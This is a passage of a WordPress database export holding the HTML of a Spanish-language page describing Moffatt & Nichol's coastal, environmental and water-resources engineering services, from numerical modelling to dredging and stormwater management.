costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámica, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámico y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con agua profunda y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizadoestudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-5','','','2013-01-09 05:20:39','2013-01-09 05:20:39','',526,'http://moffattnichol.com/spanish/526-revision-5/',0,'revision','',0),(2759,1,'2013-01-09 05:24:09','2013-01-09 05:24:09','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos 